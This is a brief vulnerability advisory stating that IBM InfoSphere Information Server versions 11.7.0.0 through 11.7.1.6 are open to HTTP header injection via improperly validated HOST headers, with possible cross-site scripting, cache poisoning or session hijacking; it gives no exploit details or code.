Description

IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking.
